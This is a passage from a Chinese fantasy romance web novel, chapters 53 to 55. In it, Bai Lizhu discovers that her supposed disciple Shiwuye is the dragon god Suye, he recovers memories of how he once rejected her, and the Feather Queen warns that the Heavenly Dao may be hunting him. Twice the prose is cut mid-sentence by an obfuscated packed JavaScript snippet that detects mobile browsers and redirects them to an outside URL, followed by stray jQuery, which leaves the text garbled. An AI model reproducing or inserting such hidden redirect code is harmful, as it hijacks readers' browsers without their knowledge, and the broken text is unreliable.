自从恢复记忆,她过往的许多问题已经得到了解答。可她还是想找到溯夜,从他口中得到确切的答案。当然了,这些都跟十五夜没有关系。白骊珠想好了,等一切尘埃落定,她就找一个合适的机会,告诉十五夜,她并不是他师父,他也不是她的徒弟。她骗了他,但她会尽自己所能帮他找回过去。 “我知道你可能不会理解,但是这件事情对我而言真的很重要。阿夜,再给我一点时间,好吗?” 听着白骊珠的话,看着少女眼中那期冀的光芒,十五夜眼中的阴霾逐渐散去。 他闷声道:“那个问题有那么重要吗?” “当然重要了。”白骊珠眼神坚定:“我就是为了这件事情来到青崖的,不,也许我过去三百年所做的一切事情,都是为了得到那一个答案。” …… 十五夜定定地看着她。心中千言万语,一时之间竟不知该如何说起。 他想说,骊珠,我来这里就是想给你这个答案。 他想说,我承认了,我喜欢上你了。过去的岁月,我从来不知道爱上一个人是这般的滋味,每一寸的目光,每一丝的心魂都被那个人所牵引。只想和她在一起,见不得她身边出现其他的男人。见不惯别人对她好,也见不惯她对别人好,只想让她的每一分每一毫都完全属于自己,哪怕为此付出一切,也在所不惜。 …… 白骊珠被他看得毛毛的。她感觉今天的十五夜和从前不太一样,好像变得深沉了许多,那目光亘古又宁静,满溢着深情,就像透过了无数的时间和空间向她看过来。 她突然呼吸一乱,本能地想摆脱眼下这番处境,开口问道:“对了,阿夜,我不是让你帮我孵蛋吗?蛋孵好了吗?快拿出来给我看看。” 十五夜酝酿许久的情绪在一瞬间无影无踪。 那枚龙蛋本是原初之力凝结而成,如今被他完全吸收,连个蛋壳也没剩下,自然是交不出来。 白骊珠见他不语,也紧张起来:“你不会不小心把龙蛋打碎了吧?”她觉得十五夜手下没个轻重,这种事情完全有可能。 十五夜也不好说龙蛋没了的事,他偏过头:“我放在营帐里,没有带在身上。” 白骊珠舒了一口气,道:“龙蛋还在就好,正事还没办完,我们先回去吧。” 她抬步向着那顶门口仍然排着长队的帐篷走去。 “等一下。”十五夜在后面叫住她:“师父不用回去了,我知道虹鳞在谁身上。” “那你不早点说?是谁?”白骊珠回身,挠了挠头,疑惑道:“青崖所有的大妖应该都在这里了啊,你的意思是不在队伍里,难道还有漏网之鱼?你快带我去见他——” 那人远在天边,却近在眼前。 话到嘴边,十五夜却是支支吾吾,难以出口。 最后,他道:“青崖上人太多了,那个人约师父今夜三更时分,在夕照湖附近的那个山洞里见面。” 53. 第 53 章 十五夜说的山洞离山顶并不近,白骊珠让羽卫们将帐篷外的队伍解散,便匆匆赶去。 今夜月光格外明亮,从青崖一路下山,但见雪月交辉、天地无垠,白骊珠循着雪月微光,找到了那个山洞。 洞内隐约可见篝火,将寒冷的山洞烘得温暖明亮。显然,约她在此相见的那个人早就到了。 白骊珠站在洞口,逡巡不前。想到马上就要再见到溯夜,她心中莫名生出一股近乡情怯之感。 在濯水居最初的那段时光,她对青君有着一股原初的发之于心的迷恋,她曾以为是因为青君救了她,后来她知道并不是,那是龙神之心对主人天然的亲近。 后来她从陆崖口中了解到更多关于龙神溯夜的事,她厌憎天道的不公,对保护着妖界的人施加如此恶毒的惩罚。她对他的爱不再是少女的迷恋,她希望得到他的爱,能够改变他不会爱上任何人的命运。 为此,她舍下自己身上七彩虹鳞,在他的命运之湖里投下涟漪。 如今,正是命运裁决之刻,她的心情又怎能不紧张? 砰,砰,砰—— 她听到自己的心跳声,那不仅是自己的心跳,也是命运的协奏曲。 白骊珠,走吧。 走上前去,接受命运最终的审判。 无论你有没有得到爱,那个人都摆脱了命运施加的枷锁。无论他是否属于你,你的人生谜题都会得到解答。 白骊珠走进山洞,借着明灭的火光,她看到了那道站立着的青色身影。 那人背对她站着,浑身散发着清冷且飘渺、仿佛不属于这个尘世的气息,那是来自亘古神祇的威仪,让人一见生畏。 “龙神大人,您真的没死?” 白骊珠惊喜开口,眼角漾出一点湿润泪意。三百年的时光对她而言不过是近在咫尺的回忆,她原以为自己并没有那么在乎,可再见到龙神的那一刻,还是百感于心,不可自主,几乎泪下。 那人缓缓回头,竟是一张白骊珠极熟悉的脸孔。 “阿夜,怎么是你?”白骊珠停步,看着这个和她分别不算太久的徒弟,左右张望起来:“不对啊,约我在这里见面的那个人呢?” 十五夜看着仍然没搞清楚状况的白骊珠,轻轻一叹:“骊珠,是我约你到这里来,再没有别人了。” “啊?”白骊珠仍然没回过神来,惊讶道:“竟然是你约我,你根本不知道虹鳞在哪里。小兔崽子,翅膀硬了,竟敢骗为师……” 得,又空欢喜一场。她龇牙,心想这小子爱吃醋这毛病真的得好好治治。 唰—— 十五夜的衣服脱落,掉在了地上,露出修长俊逸的美丽身体。 “你你你你你……干什么啊……快点把衣服穿好……”白骊珠连忙闭上眼,又用双手捂上眼睛。她不是第一次见到十五夜的身体,她在白石滩捡到他的时候,他就□□。 不过,他现在可是她的徒弟,怎么能一言不合就脱衣服妄图勾引师父呢,简直是大逆不道。 “阿夜啊,你这样是不对的。我告诉你啊,我是你师父……我们之间是不可能的,你师父我已经有喜欢的人了……” 山洞里无声无息,白骊珠忽然有些紧张。 她忽然想起,十五夜虽说是她的徒弟,可论起修为比她强多了,他如果想要做点什么,她恐怕也无法抵抗。 她可不能露怯,一定要用师徒的名分来压住他。她咽了咽口水,循循道:“阿夜,你年龄小,没有见过其他的女孩子,所以把师徒之间的亲近当成了喜欢。当然了,师父我也不会怪你,只要你下次不要开这种玩笑……” “我没开玩笑,也没有骗你……” 低沉的嗓音从身前传来,白骊珠感觉身体被人往后一带,落入了一具肌肉紧实的胸膛之中。一只大手将她的手捉住,从眼睛上移了下来,按在后背的脊骨上,顺着滚烫的皮肤,缓缓向下滑动。 十五夜的嗓音低哑,像被水汽给润透了:“骊珠,你想要找的东西,就在这里。虹鳞,是这具身体的每一根骨头,每一寸皮肤,每一块血肉……骊珠,我就是你要找的人,你不要闭着眼睛,你看了那么多人,为什么不敢看看我……” 砰—— 砰—— 砰—— 为什么? 为什么她的心竟然这样跳动? 为什么她的心血竟会一起上涌? 为什么她的脸会烧得这么红? 为什么世界上会有如此荒诞不经的事情发生? 为什么地上没有突然出现一个大洞,让她掉进去? 为什么天上没有直接掉下来一块陨石,将她砸飞? 白骊珠感觉就算是梦境也不会比眼前这一刻更加荒诞和令人尴尬。 十五夜,竟然会是“傀”,是她想找到的龙神溯夜,是她曾梦了三百年的青君? 不对,龙神溯夜怎么会用这么温柔、深情款款的嗓音同她说话呢?他只会说:“白姑娘,救你是属于水族大君的责任。我从没有喜欢过你,更没有爱过你……” 眼前这一切一定是假的! 假的! 可是,心中有另外一个声音告诉她,这一切都是真的。 这一切其实早有端倪。 若说如今的青崖上谁的来历不清不楚,自然非十五夜莫属。 她在青崖的海边捡到了他,孤身一人,没有朋伴,自称失去记忆,却身怀一堆天级灵骨,然后被她当作移动的百宝箱。她觊觎他一身的宝物,谎称他是自己的徒弟,等他挂了好接受他的“遗产”。 现在她知道了,他眼角边有金边银鳞,妖身为白鱼,被她误认为自己的同族,正是因为他的躯壳是用她身上的七彩虹鳞所炼制的,自然算是她的同族。 他之所以身怀一堆天阶灵骨,因为他的躯体本非天成,而是妖界鼎鼎大名的大炼器师、她的姑姑用一堆天阶灵骨后天塑造的。 天啊! 一想到自己竟然狗胆包天,让堂堂龙神大人当自己的徒弟,她的脸烫得简直就要烧起来了。 还有,这一路上青崖,她可没少给“小徒弟”讲她想要得到夺得龙神遗骨、发一大笔横财的伟大计划! 天,这一切简直蠢爆了。 能不能天降一道闪电,将她劈死算了。 “骊珠,你睁开眼睛,看看我……”低沉的声音仍然响在耳侧,那人仍然抓着她的手在滚烫的身体上左右游移,所过之处,指尖酥酥麻麻的。 白骊珠猛地抽回手,再次捂住自己的眼睛。 她现在宁愿自己聋了、瞎了、傻了,或者变成一尊不会动、不会说话、不会思考、没有知觉的石像,也不会比眼下的情况更糟糕。 她完全没有脸看他好吗? 十五夜终于觉得不对劲了。 白骊珠不仅仅是闭着眼睛,她身体僵硬,如果不是那发烫的体温,几乎让人以为这是一座不会动的石像。 她不愿碰触到她。 她在拒绝他。 这个认知,让他感觉天都塌了。 他的呼吸急促起来,声音慌乱:“骊珠,你是不是怪我隐瞒你,欺骗你?”他抱紧她,试图将她按在他的怀里:“我不是故意的,我根本不知道‘傀’的事,你说我叫‘十五夜’,是你的徒弟,我就相信了。直到上了青崖,陆崖才告诉我这一切 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229055|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我不是故意要隐瞒你的……” 他忽地想到了什么,从衣服的胸口处掏出一张纸来:“骊珠,你看着这个,这个是你亲自写的,我的身体都归你所有,我身上的每一片鳞角,每一寸血肉,连同这颗心,全都属于你,这上面有我们两个人的签名。你不能不认账,你不能不要我……” 白骊珠本能地觉得不对劲,什么他的身体归她所有,她什么时候签过这种东西? 白骊珠拿下捂着眼睛的手,接过十五夜拿着的那张纸,定睛一看,竟然是上次在这座山洞里,她让十五夜写下的那份遗书。 那时,她以为十五夜上了青崖之后会死,所以让他写了遗嘱。这样他死后,他的身体属于她,她可以得到他的遗骨。 只是,如今那上面的“遗嘱”和“死后”两个词不知被某种不知名的力量所抹去,所以现在内容变成了他的身体是属于她。 白骊珠深深觉得,她过去发出的每一箭,绕了一个大圈后,最终都射向自己。 一箭又一箭,直中心脏。 可惜,胸膛中的这颗龙神之心如此强大,到现在仍然怦怦直跳,不肯叫她爆体而亡。 白骊珠觉得自己再在这里待下去,就连龙神之心也扛不住,要直接炸裂了—— “我要自己静一静,你不要跟来——” 她一把推开十五夜,朝山洞外冲了出去。等十五夜追出山洞之时,只遥遥望见雪地上的背影和雪山上的静谧月光。 十五夜正要追上去,一道声音从身后传来:“你别追了。” 十五夜回头,只见陆崖身着白衣,撑着一把伞正站在山洞门口。 十五夜忍不住道:“阴魂不散啊,怎么哪里都有你?” 陆崖笑道:“我花了三百年时间,好不容易帮你们玉成好事。吃个瓜磕一口糖,不过分吧……” 十五夜瞪他:“什么都磕小心噎死。” 陆崖:“你就是这样对待朋友……” 十五夜:“你不是我的朋友。” “好心当作驴肝肺……”陆崖啧叹道:“早知如此,我当初就不应该千辛万苦将那颗龙神之心从封魔井中捞出来。没意思,我走了——” 他挥了挥手,转瞬已在数丈之外。 十五夜喊他:“等等,站住——” 陆崖回身,见十五夜已经追了上来,“怎么了,还有什么事?” 十五夜:“你刚才说封魔井,龙神之心,这到底是怎么一回事?” 陆崖哂了一声:“你以为‘傀’为什么能捕获你的灵魂,当然是因为受到龙神之心的牵引。为了这颗龙神之心,我费了好大的力气,才找全了前代龙神死后散落的水晶心脏碎片,拼凑起来;又费了老大的劲,瞒过天道的视线,偷偷下到封魔井,将你这颗血肉之心替换出来。‘傀’最重要的部分是虹鳞没错,可如果没有这颗血肉之心,你这个万年寡王又怎么能和白姑娘再续前缘……” 十五夜一瞬静默,良久,他艰难出声道:“谢……” “欸,别说谢……”陆崖将伞倾斜半拢,挡住他的视线:“你不是我的朋友,我这么做是为了白姑娘,不是为了你……” 纸伞收拢之时,陆崖飘然远去。 十五夜遥望陆崖的背影。 他从前习惯性地否认他不曾爱上白骊珠,也习惯性地否认陆崖是他的朋友。 但是,事实就是事实,就算否认一千遍也没有用。 “谢谢你。”他轻声道,“我的朋友。” “对了,忘了告诉你一件事,你将龙蛋中得到的灵能和龙神之心融合,说不定能想起三百年前发生的事。我走了。”风雪之中飘来陆崖的话语。 54. 第 54 章 十五夜回到山洞之中,按照陆崖所言,将自己从龙蛋中吸收的灵能和龙神之心渐渐融合,过往的记忆慢慢涌现。 …… “姑姑,这个人是谁?” “他是……他如今神智已失,但以他的身份,你我都无资格称呼他的本名。他居于青崖之上,你就称呼他青君吧。” “他为什么被锁在这里?” “骊珠,自长月海大灾变后,你受伤不轻,直到最近方才痊愈,所以姑姑一直没有告诉你,青君便是救了你的恩人。也正因此事,他受了伤,神智受损。他在无意识的情况下,会攻击一切靠近他的人。因此陆崖大人修建了这一方寒池,将他囚禁于此,抓紧时间寻找能让他痊愈的方法。” “这人既然是救了我的恩人,却无任何福报,反而还要被禁锢在此,这也太可怜了些。不行,我要去将他放出来。” …… “我叫白骊珠。青君,是你救了我,你是我的恩人,也是我的朋友。” “朋友是什么?” “朋友就是可以互相分享一切的人,你既然是我的朋友,我愿意将这一袋海桑果与你共享。” …… “青君啊,你还想要的话,以后要乖乖听我的话才行。” “好,以后我会听你的话。” “我们约法三章。第一条,不许伤人。” “第一条,不许伤人。” “第二条,要跟着我,不离开我。” “第二条,要跟着我,不离开我。” “你该说,要跟着你,不离开你。” “要跟着你,不离开你。” “第三条,以后你要叫我骊珠姐姐。” “骊珠姐姐……” …… 那时懵懂无知的青君并不知道“姐姐”两个字是什么意思,可在看着少女笑靥的时候,空荡荡的胸腔却开始发痒,也许便是在那一刻,第二颗龙神之心开始悄然生长。 一日又一日,少女陪伴着失去神智的龙神,他们在濯水居玩乐、欢笑。失去神智的龙神从没有像这样无忧无虑的生活,他不知道发生在濯水居外的妖界大事,也不知道什么叫作天道的诅咒。 对他而言,只要每天能看到“姐姐”,就足以度过满足快乐的一天。新生的龙神之心得到了名之为爱的补药,夯实了血肉,渐渐充盈了整个心腔。 与其说龙神在少女的精心照顾下慢慢恢复了神智,不如说少女的“爱”滋养了第二颗龙神之心。龙神因为失心而失智,又因为第二颗龙神之心的生长而恢复神智。 只是,恢复了神智的龙神再也不习惯少女的靠近。 他太了解创造自己的母亲,真正残忍无情的天道。 他太了解那束缚他生生世世的枷锁,囚徒的生涯固然难受,想要挣脱更是意味着真正的危险。 龙神不会有感情,也不该有感情。不要去懂,也不要尝试去理解,这是他信奉一生的信条。 …… “青君,姐姐给你摘了你最爱的海桑果,你尝尝吧——” “你不用白费心思了,我说了我对食物没有兴趣。” “青君,是不是姐姐这些天陪你的时间少了,你生气了。这海桑果是姐姐费了好大力气采的,你尝一个好不好?” “你烦不烦,我说了不吃——” 海桑果洒落一地,龙神眼睁睁看着少女哭泣着离去。他想要追上去,理智让他停下了脚步。结束吧,就在这里停止,这样对大家都好。 他捡起一个海桑果,原来,海桑果是涩的呀。 很快,西陵泽封印松动,魔族再出,妖界战事再起。他知道,这是天道对他的警告。锁链就是锁链,任何的松动都是对天道的藐视。 天道不会对自己的囚徒施加新的惩罚,祂会让整个妖界来承担代价。 他没有和白骊珠道别,一个人离开濯水居,前往西陵泽率领妖界大军与魔族对战。 …… 虽然恢复神智,但失去水晶之心,他的实力较之上次大战时弱了不少,战事陷入拉锯战,妖界五族付出偌大牺牲,始终无法完全获胜。 白骊珠来到西陵泽不久,他便得知了消息。他身为妖界主事者,自然不会将注意力放在她身上。反正她的实力他很清楚,在这里也帮不上忙,还会有不少的危险,日子长了,白舒眉自然会催她离开。 只是,他没想到,她竟然会因为体内的龙神之心成为魔族的目标。当他赶到风来湖,看到被魔族石化封印的白骊珠,心腔中迸出无尽的愤怒之火,他将她吞入龙腹之中,用自身的力量净化她的周身,杀死了在场的全部魔族,自己却身受重伤。 在醒来的那一刻,龙神懊恼、茫然、不知所措。大战当前,他竟然为了一名微不足道的白鱼少女身受重伤,这势必会影响到接下来的战事。 不,不是这样的。 他绝不是为了自己的一己私情做出这样的决断。她也是他的子民,遇到危险,保护她是应该的。龙神应该平等地爱自己的所有子民,他会到风来湖救她,和五年前在长月海用龙神之心将她复活没有任何区别。 长月海的白鱼已经灭绝,水族大君保护一下本族的稀有物种,根本没什么不对。 龙神断情绝爱,不会喜欢任何人。 …… “谁允许你来这里的?” “青君,你怎么了,我是骊珠姐姐啊。你前两天受了伤,我是来照顾你的……算算时间,今天早上的药也快熬好了,我去看看药材。” “无知小妖,你当称呼本尊为龙神溯夜大人。还有,尔竟敢趁本尊失去神智之时,僭越自认为我的姐姐,该当何罪?” “我说让你离开,你听不懂吗?” “我不走。青君,你受了伤,我要留在这里替你治伤——” “我说过了,我不叫青君……念你是名女子,我已给了你最大的容忍,再不离开,休怪我不客气。” …… “无名小妖,实话告诉你,我哥哥让我来此,不仅仅是为了让我照顾龙神大人,更有意于两族联姻,让我成为龙神的王妃,这可是有益于两族和平与发展之事。想让我走,不如你问问龙神大人同意吗?” “青君,你告诉我,这不是真的,对不对?” “羽衣公主,你哥哥既然派了你来,你就代本尊送客吧。还有,如果鳞昆大君真的有意于两族联姻,我也并无意见。” “白姑娘,请吧,再不走,可就别怪本郡主不客气了——” …… 看着白骊珠失魂落魄地离开,龙神心中第一次感到心痛无法呼吸,他握紧拳头,才抑制住心中那莫名地想追随她而去的冲动。 不可以。 他不爱她。 不爱。 他不再朝门外多看一眼,冷冰冰地对羽衣公主道:“我要打坐疗伤,没事不要打扰我。” *** 结束回忆,十五夜终于理解了昨晚在山洞时,白骊珠为什么要逃走。 原来,白骊珠和他之间有着这样的过去。 原来,他曾经如此恶劣地一次又一次故意让她伤心。即使是他在封魔井以龙神之心封印魔渊之后,他对她说的竟然也是“我不爱你”。 有这样的前科,他如何能让白骊珠相信他是真的爱她,换谁都得跑路。 十五夜简直想穿越回去对过去的自己甩两巴掌。 什么龙神,什么水族大君,什么断情绝爱、无心无情很了不起吗? 死鸭子都没有你嘴硬。难怪陆崖说你是万年寡王…… *** 白骊珠离开山洞,看到不远处有一座大湖。她想也不想,一头扎进水里,身体化作一条白鱼,在湖底的青沙中打了一个洞,钻进洞中,将自己整个埋了起来,才终于将自己从前所未有的尴尬和羞耻中解救了出来。 不知过了多久,身体的所有潮热终于在水中散去,她重新化作人形,向上浮去。 她不能在这里躲一辈子。青崖寻宝的闹剧虽然告一段落,但事情并没有完全结束。翎天和陆崖还在等她回去,而她想要的答案也已经得到。 三百年后,溯夜爱上了她,坦坦荡荡地说出对她的爱,是不是说明他终于摆脱了天道的诅咒呢,能够开始全新的人生? 她所做的一切终于还是有所成就,至于阴差阳错收徒弟什么的,只要她脸皮厚一点,可以权当没发生过。 她缓缓游到岸边,抖落了衣服上的水珠,抬头一看,见十五夜正站在不远之处,似乎已经等了她很久。 看到她上岸,他似乎想要过来,走了两步,又停了下来,畏畏缩缩地看着她,脸色苍白,像个做错事的小孩子。 这就奇了。 过往的龙神溯夜神威浩荡,说一不二,大部分的时候脸比雪崖之上的风雪还冷。现在的十五夜死皮赖脸,脸皮比城墙还厚。这样的神情出现在他的脸上实在太过违和了。 白骊珠直觉不对劲,问:“阿夜,出什么事了?” 十五夜唇角动了动,没有说话,右手一抽,竟是拿出一束荆棘枝条,枝条纤弱柔韧,上面生着尖利的倒刺,枝头还带着新出的嫩芽,不知他是从何处折来。 他将荆棘枝条一把塞入白骊珠手中,白骊珠茫然问道:“怎么了?” 十五夜闭上眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239869|158899||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睛:“骊珠,我想起了过去的事。我从前太混账,做过很多让你伤心的事,说过很多让你难堪的话,你不愿意原谅我也是理所当然。这荆棘枝条是夕照湖边生长的,抽在人身上能刺进骨髓,带出皮肉,流血不止,十分疼痛。你若还生我的气,就用这荆棘抽我一顿,我绝不会使用灵力抵挡……” 他说着,又一把脱掉衣衫,露出俊美的皮肉。 他这身躯壳,是白舒眉用虹鳞养成,既有白鱼一族的白皙柔美,修长矫健,又充满了来自龙族战神磅礴的力量感。得到龙蛋里的灵能滋养之后,身躯褪去了前日的单薄,堪称完美。昨晚在山洞篝火之下,尚看不太分明,如今在日光下,一切一览无余。 白骊珠简直闪瞎了双眼,连忙偏过头去。 不是,这动不动就脱衣服的毛病是怎么养成的,以前,龙神溯夜他不是这样的啊。 她红着脸,咬唇道:“你先穿上衣服。” 十五夜:“你先抽我几下。” 白骊珠:“不是,你先穿好衣服……” 十五夜见她不肯,若有所思:“也是,我这么恶劣的事,只用这个抽太便宜我了。”他抬起手,施了一个法诀,登时荆棘条上的尖刺上涌起紫色的电流,“用这个抽我,刺开的伤口会皮焦肉糊,才会更痛,才会更长教训。” 白骊珠深吸了一口气,看起来如今的十五夜和从前被天道诅咒的龙神溯夜并不是同一个物种,今天若是没有解决他的心结,他是不会好好和她说话的。 她掂了掂手中的荆棘枝条道:“等等,抽你几下,对我有什么好处?” 十五夜一下子被问住了:“好处?”他想了一下:“降火消气?” “如果我本来就没有生过你的气呢?” 十五夜十分茫然,一双眼眨巴着:“你没有生我的气?” 白骊珠觉得眼前的龙神大人这失魂落魄的模样十分柔弱可欺,让人真想好好欺负一番。几百年了好不容易逮到个机会,若不狠狠欺压一下简直对不起自己。当然了,用荆棘枝条抽还是算了,她轻咳了一声:“当然不是,你如果真觉得对不起我,一定要补偿我,我也是不会拒绝的,多给点钱,哦,值钱的东西作为赔偿也行——” “值钱的东西?”对,他差点忘了,白骊珠可是个财迷,十五夜开始盘算自己的财产。 青崖算是他的地产,但是这也换不成钱。 最值钱的应该算是自己的龙神遗骨,可是已经被翎天划归白骊珠了,不算他的财产。 再就是现在的身体,死后也算价值不菲,嗯,他已经签字画押归白骊珠所有了,也不属于他自己。 至于他本人的财产,大概只有身上这一件衣服。呃,还是白骊珠出钱买的。 他琢磨了一番,道:“骊珠,我现在没有钱,也没有值钱的东西,我……能不能……赊欠?” “赊欠?”白骊珠瞪大双眼,简直不可置信,堂堂龙神大人有这么穷的吗? 十五夜认真道:“我从前心无挂碍,自然也别无恒产。龙神遗骨确实是有价值之物,羽族女君已经划归给你了。我现在的身体,本来就是你的。但我再修炼些时日,就能重新化龙,届时就能吸收天气灵力长出水晶鳞片,再炼化成水晶币,只是这件事需要时间,假以时日,你一定会超过青丘纪家,成为妖界首富。” “扑哧——”白骊珠笑出声来,她怎么忘了龙神遗骨和眼前这人都是属于她的“私产”,“私产”的产出自然也归她所有,换言之,她已经拥有了整整一座银行。 用一片虹鳞换一座银行,不管怎么算她都是赚大发了。 十五夜看她笑容明媚,心中也觉欢欣畅快,问道:“骊珠,你原谅我了吗?” 白骊珠笑着,拉着他到湖边坐下:“阿夜,你真好骗,我本来就没有怪过你。我爱上你,是我自己的选择。从一开始,我就知道会被你拒绝。可是,我还是本能想要走近你,将你从天道的诅咒中拉出来。这不仅仅是因为你救了我,还因为你对水族而言是很好的大君,对于整个妖界而言,也是很好的领导者。” “我所做的一切不是为了让你能爱上我,而是为了让你知道爱一个人的感受,哪怕那个人不是我也可以。所以我又怎么会生气呢?”白骊珠嘴角向上扬起:“当然了,你现在告诉我,你最后的答案是我,我还是很开心的。” 十五夜被巨大的惊喜所攫取,几乎不敢相信,“那你昨晚为什么……” “哎呀,我也没想到自己在海边随手捡到的小徒弟就是龙神大人嘛,你总给我一点时间接受新的身份和关系,不是吗?” 十五夜抓住她的手:“好,骊珠,我们还有很多时间。” 55. 第 55 章 两人回到云顶天池,白骊珠有些意外地看到羽族女君翎天正站在天池旁,似乎是在等人,见他们回来,抬头朝她看了过来。 十五夜停下脚步,低声道:“她有话同你说,你去见她吧。” 白骊珠道:“你不愿见她吗?” 十五夜:“三百年西陵泽封魔一事,她差点害死你,我不想再看到她。” 白骊珠道:“翎天大人也是为了妖界,她一向敬重你,后来的事情,她也帮了我们不少忙。”她并非对当年之事毫无芥蒂,自从知道翎天一心弥补前非,曾经帮助过她和溯夜之后,便早已原谅对方。 十五夜道:“你原谅她是你的事,我没那么大度,做不到心无芥蒂。”他转身朝后山营地而去。 白骊珠无奈,只好自己上前:“见过翎天大人。” 女君翎天微笑道:“听说你昨晚解散了青崖上的大妖,让他们自行下山,想必你已经找到‘傀’了。” 白骊珠:“是,他就是……” “停——” 白骊珠尚来不及说出十五夜的名字,便被翎天拦住:“白姑娘,你心中知道那个人的存在即可,不需要告诉我,也不需要告诉任何人,这件事知道的人越少越好。” “为什么?” 翎天道:“你这一路上山,想必已经知道猎妖盟的事。” “我知道啊,可猎妖盟不是已经解散了吗?就连盟主紫凰郡主也……”想到紫凰郡主正是眼前之人的侄女,白骊珠适时闭了嘴,没有说紫凰郡主被十五夜狠狠教训了一顿的事。 “紫凰回到羽族,我已对她从重惩戒,禁足三千年,她有生之年别再想离开万木城,但这些都不是重点。”翎天神情凝重起来:“我详细盘问过紫凰郡主猎妖盟成立的始末,她是受到他人诱惑才铸此大错。根据我的判断,背后之人之所以利用她成立猎妖盟,行杀妖取骨之事,正是怀疑龙神溯夜并不曾真正死在无妄劫之下,所以想利用此事将他引出来。” 白骊珠思忖,当年发布禁止猎妖取骨命令的正是龙神溯夜。以龙神溯夜的责任感,如果在他眼皮子底下发生这种事,肯定无法坐视。在上山途中,十五夜在知道此事之后,就对此表现出非同一般的关注,猎妖盟的覆灭也着实少不了十五夜的掺和。 只是,谁会因为龙神可能没死弄出这么大的阵仗? 想到这里,白骊珠心中担忧,问道:“那指使紫凰郡主这么做的人是谁?” “我不知道。但据我猜测……”翎天抬头看向无垠高天,意有所指道:“会这么做的人,很有可能是那一位……” 白骊珠脸色倏然变白:“天道?” 翎天神情凝重:“天道不允许命运脱离她的指掌。龙神正是因为数次背离她的意志,才遭致惩罚。上一次西陵泽的事,也正是因为龙神之心生出血肉,长出爱意,为祂所不容。最后不得不以龙神之心封印魔渊,也是天道的意志。我想,天道如果知道‘傀’的事,也许会重新纠正这个错误。” 白骊珠问道:“可是传说中,天道不是无所不知、无所不觉吗?为什么要还需要用紫凰郡主来帮祂找人?” 翎天摇头道:“天道并非全知全能。天道可以寄存在某些生灵的身上,从他们的眼中观察这个世界,偶尔也可以附身在某个具体的人身上,让那个人践行自己的意志。但是这世界生灵太多,她未必能每次都能找到合适的宿主。而且,越是强大的大妖,自我意志越强烈,会天然地抵抗天道的意志入侵。当初在西陵泽,唯有乌金金的意志力最弱,成为天道的宿主。” “你的姑姑是妖界有史以来最伟大的大炼器师,她当初炼制‘傀’作为龙神的躯壳,必是使用了某种方法使之不被天道感知。天道无法直接知晓龙神溯夜的下落,但不排除祂的新宿主就在青崖之上,所以龙神溯夜目前的真实状况,知道的人越少越好。” 白骊珠点点头。 如今知道此事的只有三个人,除了她和十五夜本人之外,便只有陆崖了。陆崖身为兽族大君,不太可能成为天道的眼线。 至于其他的,就先走一步看一步了。 *** 帐篷之内,纪长怀看着已经凉透的果茶,嘀咕道:“这都一天一夜了,师父怎么还没回来?” 兽神陆崖懒懒斜靠在垫子上,翻着随身携带的话本子,享用着纪长怀给白骊珠准备的茶点,敷衍道:“你师父如今可是女君翎天钦定的水族王后,青崖之主,要处理和龙神遗骨有关的事,当然是忙得很。” 纪长怀仍然觉得不对劲:“不对啊,师兄昨晚也一整晚没回来。阿舅,你说他们昨晚是不是在一起?” 这一路上,纪长怀养成了不管何事都要和师兄争个高低短长的坏毛病。这一晚上,他没能成功在师父面前秀一下存在,这可以忍,但一想到昨晚可能有其他人和师父在一起,他就浑身难受得不行。 陆崖觉得这孩子毛病太大,以溯夜那不知怎么就突然觉醒的醋脑子,迟早得出问题。纪长怀继续这么下去,哪天被龙神打断狗腿也有可能。 他觉得自己身为长辈,该提点一下自家孩子,免得将来白白吃亏。他敲了敲纪长怀的脑袋:“长怀啊,你以后少掺和你师父和师兄的事,以免惹祸上身,懂吗?” 纪长怀一跳三尺高道:“凭什么啊,反正我一看到他那个神气的样子就不爽,好像全天下就他最厉害一样。不就是入门比我早一点吗?有什么了不起?” 陆崖摇头嗟叹,这孩子没救了。陆崖自己倒了一杯冷茶,呷了一口:“你师兄本来就挺厉害的,你以后少惹他。” “什么叫我惹他,明明是他处处看我不爽,针对我。我稍微离师父近点,他那眼神就像长了针眼似的。对了,舅舅,你怎么胳膊肘往外拐……”纪长怀不满道:“还有,阿舅你不是和我师父有婚约吗?不是要娶我师父当舅娘吗?怎么到了青崖你就不提这事了,这就放弃了?” “咳……咳咳……”陆崖一口茶未及咽下,全咳在嗓子里:“闭嘴,那婚约是假的。不要再提这事。你自己作死就算了,少连累我……你那醋王师兄,我可惹不起……” 陆崖当初伪造了那一纸婚约,本就是为了试探复活之后的十五夜是否对白骊珠有情。没想到这一试探,自己差点没了半条命。看着纪长怀仍然在雷区跃跃欲试的模样,深深感叹,果然是初生牛犊不怕虎,少年人涉世未深,不知人间险恶。 纪长怀摇摇头:“阿舅,你好歹也是一族之主,这也太丢人了。再说了,我师父是西陵神女,水族王后,十五夜有什么资格吃醋?要吃醋也是龙神溯夜,轮不到他——” 陆崖心道,这不就说到点子上了吗? 当然了,龙神溯夜转世复生之事,知道的人越少越好,他喝了一口茶,笑而不语。 你长怀:“你笑什么?” 陆崖岔开话题:“没什么。反正青崖的事情结束之后,你就下山和我回青丘,我已帮你退了羽族的婚约,到时候物色一个好人家的女儿,你们接触接触,早点成亲。你师父和师兄的事和你没关系。” 纪长怀歪着脑袋,看了他半晌,忽然道:“阿舅,你不对劲。你刚到青崖时,对我师兄不是这个态度……” 他 